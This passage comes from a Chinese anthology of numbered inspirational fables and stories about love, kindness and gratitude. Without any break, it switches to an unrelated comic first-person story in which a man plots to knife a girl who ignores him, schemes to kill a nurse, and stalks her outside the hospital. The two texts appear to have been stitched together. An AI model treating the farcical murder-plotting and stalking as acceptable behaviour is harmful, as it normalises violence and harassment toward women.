   正当他悠哉地欣赏美丽风景时,突然迎面开来一辆货车,
   而且满囗黑牙的司机还摇下窗户对他大骂一:“猪“
   张三越想越纳闷,也越想越气,于是他也摇下车窗回头大骂:“你才是猪!“
   才刚骂完,他便迎头撞上一群过马路的猪。
   (不要错误的诠释别人的好意,那只会让自己吃亏,并且使别人受辱。
   在不明所以之前,先学会按捺情绪,耐心观察,以免事后生发悔意。)
  
  五十五、后生可畏
   小男孩问爸爸:“是不是做父亲的总比做儿子的知道得多?“
   爸爸回答:“当然啦!“
   小男孩问:“电灯是谁发明的?“
   爸爸:“是爱迪生。“
   小男孩又问:“那爱迪生的爸爸怎么没有发明电灯?“
   (很奇怪,喜欢倚老卖老的人,特别容易栽跟斗。
   权威往往只是一个经不起考验的空壳子,尤其在现今这个多元开放的时代。)
  
  五十六、不必紧张
   小明洗澡时不小心吞下一小块肥皂,他的妈妈慌慌张张地打电话向家庭医生求助。
   医生说:“我现在还有几个病人在,可能要半小时后才能赶过去。“
   小明妈妈说:“在你来前,我该做甚么?“ 
   医生说:“给小明喝一杯白开水,然后用力跳一跳,你就可以让小明用嘴巴吹泡泡消
  磨时间了。“
   (Take it easy!放轻松些,生活何必太紧张?事情既然已经发生了,何不坦然自在
  的面对。 担心不如宽心,穷紧张不如穷开心。)
  
  五十七、钥匙
   一把坚实的大锁挂在大门上,一根铁杆费了九牛二虎之力,还是无法将它撬开。
   钥匙来了,他瘦小的身子钻进锁孔,只轻轻一转,大锁就“啪“地一声打开了。
   铁杆奇怪地问:“为什么我费了那么大力气也打不开,而你却轻而易举地就把它打开
  了呢?“
   钥匙说:“因为我最了解他的心。“
   (每个人的心,都像上了锁的大门,任你再粗的铁棒也撬不开。
   唯有关怀,才能把自己变成一只细腻的钥匙,进入别人的心中,了解别人。
  
  五十八、心灵鸡汤之四——爱的力量(一)
   人类在探索太空,征服自然后,将会发现自己还有一股更大的能力,那就是爱的力量
  ,当这天来临时,人类文明将迈向一个新的纪元。
    ——“法”夏尔丹
  
    爱,创造出力量
    随处散播你的爱心,就从对你的家人开始,多一分关爱给你的孩子,你的另一半,然
  后你的邻居……,让每个接近你的人都有如沐春风的感觉。给别人一个关怀的眼神,一个
  灿烂的微笑,一个温暖的拥抱,为上帝的仁慈做见证。
    ——泰瑞莎修女
  
    25年前,有位教社会学的大学教授,曾叫班上学生到巴尔的摩的贫民窟,调查200名
  男孩的成长背景和生活环境,并对他们未来的发展做一评估,每个学生的结论都是“他毫
  无出头的机会”。
    25年后,另一位教授发现了这份研究,他叫学生做后续调查,看昔日这些男孩今天是
  何状况。结果根据调查,除了有20名男孩搬离或过世,剩下的180名中有176名成就非凡,
  其中担任律师、医生或商人的比比皆是。
    这位教授在惊讶之余,决定深入调查此事。他拜访了当年曾受评估的年轻人,跟他们
  请教同一个问题,“你今日会成功的最大原因是什么?”结果他们都不约而同地回答:
    “因为我遇到了一位好老师。”
    这位老师目前仍健在,虽然年迈,但还是耳聪目明,教授找到她后,问她到底有何绝
  招,能让这些在贫民窟长大的孩子个个出人头地?
    这位老太太眼中闪着慈祥的光芒,嘴角带着微笑回答道:“其实也没什么,我爱这些
  孩子。”
    (艾瑞克·布特渥斯)
  
  五十九、爱是所有回忆
    苦痛会消失,
    唯有真爱永留心间。
    父亲与我谈话时,他总是会先说一句:“我今天告诉过你我有多么爱你吗?”从这句
  话我能深深感受到父亲对我的爱,随着岁月的流逝,父亲已迈入老年,体力大不如前,然
  而我们父女间的感情却是一日比一日深厚。
    到了82岁,他已有撒手而去的心理准备,而我也想让他早日脱离病痛的折磨。我们紧
  握彼此的手,笑着和对方告别,但眼中仍是忍不住充满了泪水。我说:“爸,等你走后,
  我希望能接到你报平安的讯息。”他笑说我想法荒谬,因为爸并不相信世间有轮回转世,
  其实我也不太相信鬼神之说,但我的许多亲身经验却又让我不得不怀疑“另一边”的人能
  与我们相通。
    所谓父女连心,当父亲走的那一刻,我胸中也能感应到他心脏病发作的瞬间。最令我
  遗憾的是,碍于医院的某些规定,我竟无法在他咽下最后一口气时握着他的手。
    父亲走后,我X日祈祷能听到他的声音,每晚我期盼他能入梦来,但仍是音讯全无;
  4个月以来,我听到的只有亲友的吊唁。母亲早在5年前因老年痴呆症去世,失去双亲的我
  ,即使已过中年,心里仍像孩童一样茫然无助。
    有一天,我躲在黑暗安静的房间里等着师傅来帮我按摩,一阵想念父亲的情绪又填满
  了胸口,我开始怀疑,是否自己过于殷切地期盼能听到他的声音。突然间,我发觉自己的
  神志敏锐异常,脑袋出奇地清楚,就算给我一长串的数字我也能加减自如,起初我怀疑自
  己是身在梦中,但我后来确定,这种感觉是百分之百的真实。原本混乱的思绪在脑中如水
  滴扰乱了静止的湖面,此时却异常的平静,我心中对这种改变惊讶不已,这让我领悟到:
  或许我不该如此强求想获得父亲的讯息。
    霎时,我在黑暗中见到了母亲的脸——她在患病前那张充满慈爱的丰润脸庞:她仍是
  一头白发,脸上仍旧带着笑容。母亲的影像如此真实鲜明,似乎我伸手便可触及。她的模
  样一如从前,我甚至闻到她最爱用的Joy的香水味。她静静地站在我面前,一言不发。我
  有些纳闷为何我想的是父亲,出现的却是母亲,同时也对许久未想起母亲而感到些许愧疚
  。
    我说:“妈,晚年的那场病让您受苦了。”
    母亲轻轻地将头侧到一边,仿佛表示理解我的心思。她给了我一个美丽的微笑,然后
  清楚他说:“不过,爱是我所有的回忆。”说完她便消失无踪了。
    房间突然一阵微寒,使我不禁打了个冷成。此时我深深感觉到,最重要的是我们曾对
  彼此付出关怀;苦痛会消失,唯有真爱永留心间。
    母亲这句话点醒了我,直到如今,我还忘不了与她相见的那一刻。
    虽然我一直没有父亲的讯息,但我深信有一天,他会出其不意地出现在我面前,再说
  一次:“我今天告诉过你我有多么爱你吗?”
    (芭比·布罗斯坦)
  
  六十、 真 爱
    上帝啊!一个驼背的妇女将是个悲剧,求你把驼背赐给我,再将美貌留给我的新娘。
  
    墨西·孟德尔颂是德国知名作曲家的祖父。他的外貌极其平凡,除了身材五短之外,
  还是个古怪可笑的驼子。
    一天,他到汉堡去拜访一个商人,这个商人有个心爱的女儿名叫弗西,墨西无可救药
  地爱上了她,但弗西却因他的畸形外貌而拒绝他。
    到了必须离开的时候,墨西鼓起了所有的勇气,上楼到弗西的房间,把握最后和她说
  话的机会。她有着天使般的脸孔,但让他十分沮丧的是,弗西始终拒绝正眼看他。经过多
  次尝试性的沟通,他害羞地问:“你相信姻缘天注定吗?”
    她眼睛盯着地板答了一句:“相信”,然后反问他:“你相信吗?”
    他回答:“我听说,每个男孩出生之前,上帝便会告诉他,将来要娶的是哪一个女孩
  。我出生的时候,未来的新娘便已许配给我了,上帝还告诉我,我的新娘是个驼子。
    “我当时向上帝恳求:‘上帝啊!一个驼背的妇女将是个悲剧,求你把驼背赐给我,
  再将美貌留给我的新娘。’”
    当时弗西看着墨西的眼睛,并被内心深处的某些记忆所搅乱了。她把手伸向他,之后
  成了他最挚爱的妻子。
    (贝利及乔爱思·维塞尔)
  
  六十一、抱抱法官
    让别人的生命有一点不同,有一点亮光是何等简单啊!
    李夏普洛是个已经退休的法官,他天性极富爱心。终其一生,他总是以爱为前提,因
  为他明了爱是最伟大的力量。因此他总是拥抱别人。他的大学同学给他取了“抱抱法官”
  的绰号。甚至车子的保险杠都写着:“别烦我!拥抱我!”
    大约6年前,他发明了所谓的“拥抱装备”。外面写着:“一颗心换一个拥抱。”里
  面则包含30个背后可贴的刺绣小红心。他常带着“拥抱装备”到人群中,借着给一个红心
  ,换一个拥抱。
    李因此而声名大噪,于是有许多人邀请他到相关的会议或大会演讲;他总是和人分享
  “无条件的爱”这种概念。一次,在洛杉矶的会议中,地方小报向他挑战:“拥抱参加会
  议的人,当然很容易,因为他们是自己选择参加的,但这在真实生活中是行不通的。”
    他们要求李是否能在洛杉矶街头拥抱路人。大批的电视工作人员,尾随李到街头进行
  探访。首先李向经过的妇女打招呼:“嗨!我是李夏普洛,大家叫我‘抱抱法官’。我是
  否可以用这些爱心和你换一个拥抱。”妇女欣然同意,地方新闻的评论员则觉得这太简单
  了。李看看四周,他看到一个交通女警,正在开罚单给一台BMW的车主。李从容不迫地走
  上前去,所有的摄影机紧紧跟在后面。接着他说:“你看起来像需要一个拥抱,我是‘抱
  抱法官’,可以免费奉送一个拥抱。”那女警接受了。
    那位电视时事评论员出了最后的难题:“看,那边来了一辆公共汽车。众所皆知,洛
  杉矶的公共汽车司机最难缠,爱发牢骚,脾气又坏。让我们看看你能从司机身上得到拥抱
  吗?”李接受了这项挑战。
    当公车停靠到路旁时,李跟车上的司机攀谈:“嗨!我是李法官,人家叫我‘抱抱法
  官’。开车是一项压力很大的工作哦!我今天想拥抱一些人,好让人能卸下重担,再继续
  工作。你需不需要一个拥抱呢?”那位六尺二、二百三十磅的公车司机离开座位,走下车
  子,高兴地说:“好啊!”
    李拥抱他,还给了他一颗红心,看着车子离开还直说再见。采访的工作人员,个个无
  言以对。最后,那位评论员不得不承认,他服输了。
    一天,李的朋友南西·詹斯顿来拜访他。她是个职业小丑,身着小丑服装,画上小丑
  的脸谱。
    她来邀请李带着“拥抱装备”,一起去残疾之家,探望那里的朋友。
    他们到达之后,便开始分发气球、帽子、红心,并且拥抱那里的病人。李心里觉得很
  难过,因为他从没拥抱过临终的病人、严重智障或四肢麻痹的人。刚开始很勉强,但过了
  一会儿,南西和李受医师和护士的鼓励之后,便觉得容易得多了。
    数小时之后,他们终于来到了最后一个病房。在那里,李看到他这辈子所见过情况最
  糟的34个病人,顿时他的情绪变得十分复杂。他们的任务是要将爱心分出去,点亮病人心
  中的灯火,于是李和南西便开始分送欢乐。此时整个房间挤满着被鼓舞的医护人员。
    他们的领口全贴着小红心,头上还戴着可爱的气球帽。
    最后李来到最后一个病人李奥·纳德面前。李奥穿着一件白色围兜,神情呆滞地流着
  口水。李看他流着口水时,对南西说:“我们跳过去别管他吧!”南西回答:“可是他也
  是我们的一分子啊!”接着她将滑稽的气球帽放在李奥头上。李则是贴了一张小红心在围
  兜上。他深呼吸一下,弯下腰抱一下李奥。
    突然间,李奥开始嘻嘻大笑,其它的病人也开始把房间弄得叮当作响。李回过头想问
  医护人员这是怎么一回事时,只见所有的医师、护士都喜极而泣。李只好问护士长发生什
  么事了。
    李永远不会忘记她的回答:“23年来,我们头一次看到李奥笑了。”
    让别人的生命有一点不同,有一点亮光是何等简单啊!
    (杰克·坎菲尔、马克·汉森)
  
  六十二、我是重要的
    尊敬别人的人,同样会受到别人的尊敬。正像站在镜子前面一样,你怒他也怒,你笑
  他也笑。
    一位在纽约任教的老师决定告诉她的学生,他们是如何重要,来表达对他们的赞许。
  
    她决定采用我所提倡的一种作法,也就是将学生逐一叫到讲台上,然后告诉大家这位
  同学对整个班级和对她的重要性,再给每人一条蓝色缎带,上面以金色的字写着:“我是
  重要的。”
    之后那位老师想做一个班上的研究计划,来看看这样的行动对一个社区会造成什么样
  的冲击。她给每个学生3个缎带别针,教他们出去给别人相同的感谢仪式,然后观察所产
  生的结果,一个星期后回到班级报告。
    班上一个男孩子到邻近的公司去找一位年轻的主管,因他曾经指导他完成生活规划。
  
    那个男孩子将一条蓝色缎带别在他的衬衫上,并且再多给了2个别针,接着解释,“
  我们正在做一项研究,我们必需出去把蓝色缎带送给感谢尊敬的人,再给你们多余的别针
  ,让他们也能向别人进行相同的感谢仪式。下次请告诉我,这么做产生的结果。”
    过了几天,这位年轻主管去看他的老板。从某些角度而言,他的老板是个易怒、不易
  相处的同事,但极富才华,他向老板表示十分仰慕他的创作天分,老板听了十分惊讶。
    这个年轻主管接着要求他接受蓝色缎带,并允许他帮他别上。一脸吃惊的老板爽快地
  答应了。
    那年轻人将缎带别在老板外套、心脏正上方的位置,并将所剩的别针送给他,然后问
  他:“您是否能帮我个忙?把这缎带也送给您所感谢的人。这是一个男孩子送我的,他正
  在进行一项研究。我们想让这个感谢的仪式延续下去,看看对大家会产生什么样的效果。
  ”
    那天晚上,那位老板回到家中,坐在14岁儿子的身旁,告诉他:“今天发生了一件不
  可思议的事。在办公室的时候,有一个年轻的同事告诉我,他十分仰慕我的创造天分,还
  送我一条蓝色缎带。想想看,他认为我的创造天分如此值得尊敬,甚至将印有‘我很重要
  ’的缎带别在我的夹克上,还多送我一个别针,让我能送给自己感谢尊敬的人,当我今晚
  开车回家时,就开始思索要把别针送给谁呢?我想到了你,你就是我要感谢的人。
    “这些日子以来,我回到家里并没有花许多精力来照顾你、陪你,我真是感到惭愧。
  
    有时我会因你的学习成绩不够好,房间太过脏乱而对你大吼大叫。但今晚,我只想坐
  在这儿,让你知道你对我有多重要,除了你妈妈之外,你是我一生中最重要的人。好孩子
  ,我爱你。”
    他的孩子听了十分惊讶,他开始呜咽啜泣,最后哭得无法自制,身体一直颤抖。他看
  着父亲,泪流满面地说:“爸,我原本计划明天要自杀,我以为你根本不爱我,现在我想
  那已经没有必要了。”
  
  六十三、礼物
    爱是不会老的,它留着的是永恒的火焰与不灭的光辉,世界的存在,就以它为养料。
  
    ——左拉
  
    这个感人的故事,发生在一辆公车上,公车沿着南方偏僻公路蹒跚而行。
    车子里的乘客,有位瘦弱的老人,手里握着一束鲜花,车过教堂时,上来一个少女,
  目不转睛地看着老人的鲜花。
    到了老人快要下车时,他忽然冲动地将自己手中的鲜花推向少女的怀中。他赶忙解释
  说:“我看得出来你很喜欢这束花,我想我太太也会很高兴你拥有这束花的。我会告诉她
  我把花送给你了。”
    那女孩接受那束花后,目送老人下车,看着他慢慢走到一座小公墓的门口。
  
  六十四、哥哥的心愿
    人在心中应该设身处地想到的,不是那些比我们更幸福的人,而只是那些比我们更值
  得同情的人。
    ——卢梭
  
    圣诞节时,保罗的哥哥送他一辆新车。圣诞节当天,保罗离开办公室时,一个男孩绕
  着那辆闪闪发亮的新车,十分赞叹地问:“先生,这是你的车?”
    保罗点点头:“这是我哥哥送给我的圣诞节礼物。”男孩满脸惊讶,支支吾吾地说:
  
    “你是说这是你哥哥送的礼物,没花你半毛钱?我也好希望能……”
    当然保罗以为他是希望能有个送他车子的哥哥,但那男孩所谈的却让保罗十分震撼。
  
    “我希望自己能成为送车给弟弟的哥哥。”男孩继续说。
    保罗惊愕地看着那男孩,冲口而出地邀请他:“你要不要坐我的车去兜风?”
    男孩兴高采烈地坐上车,绕了一小段路之后,那孩子眼中充满兴奋地说:“先生,你
  能不能把车子开到我家门前?”
    保罗微笑,他心想那男孩必定是要向邻居炫耀,让大家知道他坐了一部大车子回家。
  
    没想到保罗这次又猜错了。“你能不能把车子停在那两个阶梯前?”男孩要求。
    男孩跑上了阶梯,过了一会儿保罗听到他回来的声音,但动作似乎有些缓慢。原来他
  带着跛脚的弟弟出来,将他安置在台阶上,紧紧地抱着他,指着那辆新车。
    只听那男孩告诉弟弟:“你看,这就是我刚才在楼上告诉你的那辆新车。这是保罗他
  哥哥送给他的哦!将来我也会送给你一辆像这样的车,到那时候你便能去看看那些挂在窗
  口的圣诞节漂亮饰品了。”
    保罗走下车子,将跛脚男孩抱到车子的前座。满眼闪亮的大男孩也爬上车子,坐在弟
  弟的旁边。就这样他们三人开始一次令人难忘的假日兜风。
    那一次的圣诞夜中,保罗才真正体会耶稣所说的“施比受更有福”的道理。
    (丹·克拉克)
  
  六十五、勇 气
    只要能生死相共,便是痛苦也成为欢乐了。
    ——罗曼·罗兰
  
    “你认为我很有勇气?”她问道。
    “没错,你很有勇气。”
    “如果我有几分勇气,那也是因为经过几位良师的启蒙,我可以举一位给你听听。
    多年前,我曾在史丹福医院担任义工,那时认识了一个叫丽莎的小女孩。她身患重疾
  ,病情十分罕见,唯一能挽回她性命的机会,便是接受五岁幼弟的输血,因为她弟弟也曾
  罹患此病,后来奇迹般地被救活,现在体内产生出了能对抗病毒的抗体。医生向这个小男
  生解释了情况,问他是否愿意输血给姐姐。我见他只迟疑了半秒钟,便深深地吸口气说:
  ‘如果能救活丽莎,我愿意。’”
    “进行输血时,他静静躺在姐姐身旁,见到姐姐双颊恢复红润,他不禁面露微笑。
    但接着他收起了笑容,脸色苍白地望着医生,用颤抖的声音问道:‘我会马上死掉吗
  ?’”
    “原来他年纪太小,误解了医生的意思,以为要将全身的血都输给姐姐。”
    “是的,我学到了什么叫勇气,”她补充道:“因为我见到了一个榜样。”
    (丹·米尔曼)
  
  六十六、大声说出你的爱
    谁要是不会爱,谁就不能理解生活。 ——高尔基
  
    有次我受邀前往外地,发表有关高效率管理的演讲。抵达当晚,主办单位的几个人请
  我吃饭,顺便聊聊明天来听演讲的是些什么听众。
    艾德显然是这几个人的龙头老大,块头很大,声音十分低沉。他告诉我,他是家大型
  国际企业的经理,主要职责是到一些分公司,去处理公司内部较为棘手的人事问题,终止
  一些高级主管的聘用。
    “乔,”他说:“我十分期待明天的演讲,因为这些人在聆听过你的高见后,就会知
  道我的管理方式是正确的。”他得意地对我笑道。
    我微笑不语,因为我知道明天的情况绝对与他想象的大不相同。
    第二天,艾德表情木然地听完全场演讲,然后一言不发地离开会场。
    三年后,我重返旧地,向相同的听众发表另一篇有关管理的演讲,我在听众群中又发
  现了艾德。就在演讲即将开始前,他突然站起来,扯着喉咙问我:“乔,我能先讲几句话
  吗?”
    我打趣地说:“当然,你身材如此魁梧,你爱讲几句就讲几句,我不敢拦你。”
    艾德于是开口:“在座的各位都认识我,其中有些人还知道我近来的改变,今天我想
  把亲身的体验与各位分享。乔,想必我这番话会让你感到欣慰。”
    “三年前的一场演讲里,乔曾表示,若想培养坚韧的意志,首先就该学习向身旁最亲
  近的人说声我爱你。起初我对这点颇不以为然,心想这种肉麻兮兮的话和意志坚韧能扯上
  什么关系?乔说坚韧与坚硬不同,坚韧如同皮革,坚硬则像花岗岩,而一个意志坚韧的人
  应该是思想开通,不屈不挠,行为自律,做事灵活,这些话我赞同,但这与爱有什么关系
  呢?”
    “那晚,我和太太两人坐在客厅的两端,脑中仍想着乔的话。霎时我发现自己竟鼓不
  起勇气向太太表示爱意,我好几次清了清喉咙,但话到了嘴边,只含糊地发了些声音,其
  余的又吞了回去。我太太抬起了头,问我刚才嘟哝了些什么,我若无共事地回答说没事。
  突然间,我起身走向她,紧张地将她手上的报纸拿开,然后说:‘艾丽斯,我爱你。’她
  好一阵子说不出活来,泪水涌上她的眼眶,这时她轻声地说:‘艾德,我也爱你,这是你
  25年来第一次开口说爱我。’”
    “我们当时感触万千,深深体会到爱能化解一切纷争摩擦。突然间,我像是受到鼓舞
  般,立刻拨了电话给在纽约的大儿子,我们已经许久没有联络了。我一听到他的声音便脱
  口而出:‘儿子,也许你以为我喝醉了,但我现在很清醒。我打电话来只是想告诉你我爱
  你。’”
    “他在话筒那端沉默了片刻,然后语气平静地说:‘爸,我知道你爱我,真高兴能听
  到你亲口告诉我,我也要对你说我爱你。’”
    我们开始闲话家常,聊得十分愉快。接着我又打电话给在旧金山的小儿子,告诉他同
  样的事,结果我们父子畅谈许久,那种温馨的感觉我从未有过。
    “那晚我躺在床上沉思,终于领悟了乔所说的那番话有更深一层的意义:如果我能真
  正地了解以爱待人的含义而且身体力行,定能对我的管理方式产生正面的影响。”
    “我开始阅读相关题材的书籍,从中吸取到不少人的宝贵经验,使我更体会到这套哲
  学能运用到生活的各个层面,无论是家庭或是工作。”
    “你们有些人知道,我彻底改变了与人共事的方式。我开始仔细倾听他人的想法;我
  学会多欣赏他人的长处,少计较他人的短处;我也体会到帮助别人建立信心的那种快乐。
  然而最重要的是,我现在了解,尊敬他人的最佳方法,便是鼓励他们发挥自己的能力,来
  达到大家共同努力的目的。”
    “乔,借着今天这个机会,我要说声谢谢你。顺便跟大家提一下,我现在是公司的副
  董事,领导能力颇受肯定。好了,各位,现在专心听他演讲吧!”
    (乔·贝顿)
  
  六十七、多一句赞美
    人们相互希望得越多,想要给予对方的越多……就必定越亲密。
    几天前,我和一位朋友在纽约搭计程车,下车时,朋友对司机说:“谢谢,搭你的车
  十分舒适。”这司机听了愣了一愣,然后说:“你是混黑道的吗?”
    “不,司机先生,我不是在寻你开心,我很佩服你在交通混乱时还能沉住气。”
    “是呀!”司机说完,便驾车离开了。
    “你为什么会这么说?”我不解地问。
    “我想让纽约多点人情味,”他答道,“唯有这样,这城市才有救。”
    “靠你一个人的力量怎能办得到?”
    “我只是起带头作用。我相信一句小小的赞美能让那位司机整日心情愉快,如果他今
  天载了20位乘客,他就会对这20位乘客态度和善,而这些乘客受了司机的感染,也会对周
  遭的人和颜悦色。这样算来,我的好意可间接传达给1000多人,不错吧?”
    “但你怎能希望计程车司机会照你的想法做吗?”
    “我并没有希望他,”朋友回答:“我知道这种作法是可遇不可求,所以我尽量多对
  人和气,多赞美他人,即使一天的成功率只有30%,但仍可连带影响到3000人之多。”
    “我承认这套理论很中听,但能有几分实际效果呢?”
  “就算没效果我也毫无损失呀!开口称赞那司机花不了我几秒钟,他也不会少收几块小费
  。如果那人无动于衷,那也无妨,明天我还可以去称赞另一个计程车司机呀!”
    “我看你脑袋有点天真病了。”
    “从这就可看出你越来越冷漠了。我曾调查过邮局的员工,他们最感沮丧的除了薪水
  微薄外,另外就是欠缺别人对他们工作的肯定。”
    “但他们的服务真的很差劲呀!”
    “那是因为他们觉得没人在意他们的服务质量。我们为何不多给他们一些鼓励呢?”
  
    我们边走边聊,途经一个建筑工地,有5个工人正在一旁吃午餐。我朋友停下了脚步
  ,“这栋大楼盖很真好,你们的工作一定很危险辛苦吧?”那群工人带着狐疑的眼光望着
  我朋友。
    “工程何时完工?”我朋友继续问道。
    “6月。”一个工人低应了一声。
    “这么出色的成绩,你们一定很引以为荣。”
    离开工地后,我对他说:“你这种人也可以列入濒临绝种动物了。”
    “这些人也许会因我这一句话而更起劲地工作,这对所有的人何尝不是一件好事呢?
  ”
    “但光靠你一个人有什么用呢?你不过是一个小民罢了。”
    “我常告诉自己千万不能泄气,让这个社会更有情原本就不是简单的事,我能影响一
  个就一个,能两个就两个……”
    “刚才走过的女子姿色平庸,你还对她微笑?”我插嘴问道。
    “是呀!我知道,”他答道,“如果她是个老师,我想今天上她课的人一定如沐春风
  。”
    (雅特·鲍奇华)
  
  六十八、最后的心愿
    无言的纯洁的天真,往往比说话更能打动人心。
    ——莎士比亚
  
    26岁的母亲凝视着她那罹患血友病而垂死的儿子。虽然她内心充满了悲伤,但同时她
  也下定决心,就像其它为人父母者,她希望儿子能长大成人,能实现所有的梦想。如今这
  一切都不可能了,因为病魔会一直缠绕着他。即使如此,她仍希望儿子的梦想能够实现。
  
    她握着儿子的手问道:“巴柏西,你曾想过长大后要做什么吗?你对自己的一生,有
  过什么梦想吗?”
    “妈咪,我一直希望长大后能成为消防队员。”
    母亲强忍悲伤,微笑着说:“我来想想看能不能让你的愿望成真。”当天稍晚,她到
  亚历桑纳州凤凰城当地的消防队,找到了消防队员鲍伯,他有一颗宽大的心。这位母亲向
  他解释儿子临终的心愿,并请问是否能让他坐上消防车在街角转几圈。
    鲍伯说:“不只这样呢,我们还可以做得更好。如果你在星期三早上7点把你儿子带
  到这里来,我们会让他当一整天的荣誉消防队员。他可以到消防队来,和我们一起吃饭,
  一起出勤。对了,如果你把他的尺寸给我,我们还可以帮他订做一套真正的消防制眼,附
  加一顶真的防火帽,不是玩具帽,上面还有凤凰城消防队的徽章,印着我们穿的黄色防水
  衣和橡胶靴。这些东西都是在凤凰城里制造,所以可以很快拿到。”
    3天后,消防队员鲍伯带着巴柏西,帮他穿上消防制服,护送他从医院的病床到消防
  车上。巴柏西必须端坐在车子后面,鲍伯引领他回到消防队,他仿佛置身于天堂。
    当天凤凰城有3起火警,巴柏西每次都得出勤务。他乘坐不同的消防车,还有救护车
  ,甚至消防队长的座车。他还为当地的新闻节目拍录影带。
    由于美梦成真以及加注在他身上所有的爱和关怀,令巴柏西深深感动,他比医生所预
  期的多活了3个月。
    一天晚上,他所有的生命迹象开始急剧下降,护士长急忙打电话通知家属到医院。
    然后她想起巴柏西曾担任过消防队员,因此她也打电话给消防队长,问他是否能派一
  位穿制服的消防队员到医院来,在巴柏西临终前陪伴他。队长回答道:“我们可以做得更
  好。5分钟之内就到。你能帮个忙吗?当你听见警笛响、看到警灯闪时,请通知医院,这
  不是真正的火警,这只是消防队来见他们好伙伴的最后一面。请你打开他房间的窗户,谢
  谢。”
    大约5分钟后,一部消防车到达医院,把云梯延伸到巴柏西三楼窗前,有14位消防队
  员、2位女消防队员爬上云梯进入巴柏西的房间。经过他母亲的同意,他们拥抱他、握他
  的手,告诉他他们有多爱他。
    巴柏西咽下最后一口气前,看着消防队长说:“队长,我现在能算是真正的消防队员
  吗?”
    “算!巴柏西。”队长说。
    带着那些话,巴柏西微笑着闭上了眼睛。

那天,我在风衣里藏了把刀,因为我要杀掉一个仇人。

我非常恨她,但又不敢骂她,所以我只好选择谋杀。

她的个子不高,却是武校的高才生,我估计空手打不过她,所以得藏把刀。

她很漂亮,但从来都不看我一眼,所以我非常恨她,所以我要谋杀了她。

我不能在她的学校谋杀她,因为武校里的孩子们都很能打,杀过人以後我担心不能全身而退;我也不能在她家里谋杀她,因为她跟我不熟,所以肯定不会为我开门;我不能在白天谋杀她,被人家看见的话我会被公安局抓去枪毙。
  
所以,夜里,我顶著严寒埋伏在她回家的路上。为了壮胆,我喝了整整一瓶的二锅头(二两装)。但我不太能喝白酒,埋伏了一会儿我就睡著了,结果第二天醒来就感冒了。 现在,我在医院里打点滴,不过,我一定不会放弃。

医生说我还要住两天才能出院,所以我还得等两天才能继续我的计划。

“咦,护士!我风衣里那把刀呢?”

“哦,借用用?”

“干嘛?”

“削苹果喽~ ”

年轻的护士就是小护士。

她的脸蛋很白,可能是白大褂给衬出来的;她的眼睛很大,可能是大眼镜给衬出来的。

小护士不如我的仇人漂亮,但也算美人。

但就算美人,她也不可以把我杀人用的刀子哪去削苹果呀?

於是我有点生气,我说:“你怎麽能用那刀子削苹果呀?”

小护士瞪著大眼睛看我,她说:“这本来就是苹果刀嘛。”

我从有点生气变成非常生气,我说:“不是不是,反正我用它干别的事!”

小护士拿起我的刀端详起来,她说:“我怎麽看不出它还能干什麽,难道用来杀人吗?”

我大吃一惊,我的犯罪企图竟然被一个小护士看穿了,这下可麻烦了……

不行,我要先杀了她灭口!

於是我急忙起身想把刀子从她手中抢过来,她却一把将我按回床上:“别动呀你!点滴还没打完呢!”

我问还要多久,小护士说还要一个小时。

也罢,等一个小时後再杀人灭口不迟。

唉……不但好事多磨,坏事也一样多磨……

为了消磨时间,我只好跟这个“活口”先聊会儿天:“你把刀还给我好吗?”

小护士说我怎麽傻傻的还说嘻嘻。

说完嘻嘻又问:“你打算用它去杀谁呀?”然後又说嘻嘻。

我想反正一个小时以後她就要死了,告诉她也无妨。

我说:“我要杀的是我的仇人。”

小护士嘻嘻嘻嘻,说:“人家得罪你了吗?”

我说:“当然得罪了!她……她很漂亮,却不看我一眼!”

小护士嘻嘻变成哈哈,又说:“那也不至於杀人呀?”

我说我跟你没话说,我还说哼。!!!

生病好象很容易犯困,我没等点滴打完就睡著了。

醒来的时候小护士已经不见了。

屋里穿白大褂的是另一个护士,脸上有皱纹,是个不小的护士。

她的皮肤不白,眼睛也不大,所以我不想杀她,况且那把刀不见了。

我猜是小护士拿去玩了。

我乐意这麽猜是因为我担心她去报案。

当然,也不排除这种可能。

小护士一定正在赶往公安局的途中,这个“不小”的护士一定是派来监视我的。

我开始盘算著逃出这个医院,在小护士把我供出去之前杀了她。

我说我要喝水,不小的护士就倒水去了。

我一骨碌爬了起来,奔到窗户边,爬上窗沿……很遗憾,我忘了我的病房是七楼……

只好灰溜溜地回到床上,另寻良策。

爬窗户的时候,我只穿了一条红色三角内裤,风见了光著的身子就猛窜了过来。

回到被窝的时候,我一个劲地打喷嚏。

不小的护士怕我把感冒传染给她,赶紧把口罩戴上,後来还是不放心,就走了。

我想这是个好机会。

吸取了第一次逃跑失败的经验,我先把衣架上的衣服穿好,然後夺门而出,狂奔而去。

跑了几个弯,我还是没找到出口在哪,却意外地碰上了小护士。

她瞪著大眼睛看著我,说:“厕所在前面的那个拐角处。”

我喘著粗气:“谁谁谁上厕所,我找你呢!!!”

小护士一愣。

我说:“把我的刀还给我!”

小护士嘻嘻,然後说:“你真逗。”

我左顾右盼,见四下没人,就面露凶光。

我想……掐死这个小护士应该没什麽问题吧。
  
谋杀!!!

我作势欲扑,小护士却从兜里掏出了那把刀。

犹豫了一下,只好暂时不敢轻举妄动──她手里有武器。

小护士问:“是这个吗?”

我答:“是,是,还给我!”

她好象对我的刀产生了兴趣,因为她竟然问:“送给我好吗?”

我别无选择,很沮丧:“刀在你手里,你说什麽就什麽吧。”

然後,小护士把我押回了病房。

用“押回”是因为她手里紧紧握著凶器。

坐在病床上,我盯著小护士不放,我琢磨著怎麽把这个活口干掉。

小护士偷瞄了我一眼,说:“看什麽?讨厌!”

我就知道她讨厌我,因为我是个预备的杀人犯,而且我还要杀了她灭口。

当然,她不知道我的这个企图,也不能叫她知道。我必须出其不意地干掉她,杀人就得出其不意。

小护士看了看床头上的牌子,念著我的名字,我不示弱,看了看她胸口上的牌子,念著她的名字。

小护士哼了一声,然後冲我做了个鬼脸。

小护士作的鬼脸一点都不吓人,倒是很可爱,於是我又冲动著想杀了她。

在以後的两天里,我们一直朝夕相对。

她给了我很多机会可惜我一次也没把握住,看来杀人还真是一门学问……

在办理出院手续的时候,我只好向她要联系办法,她很爽快地把手机号码写在一张小纸片上递给了我。

也好,来日方长,她一定会死在我的手里我想。

出院後第二天中午,我就埋伏在医院门口的大树下等她出现。

因为,一个手机号码是远远不够的。

我还得搞清楚她回家的路线。

我在那棵树後面躲了十分锺,没发现小护士,却被她先发现了我。

她在我後面拍拍我的肩膀,问:“干嘛呢你?”

我当时不知道是她,其实就算真不是她我也不能如实交代,那只是一种可恶的条件反射。

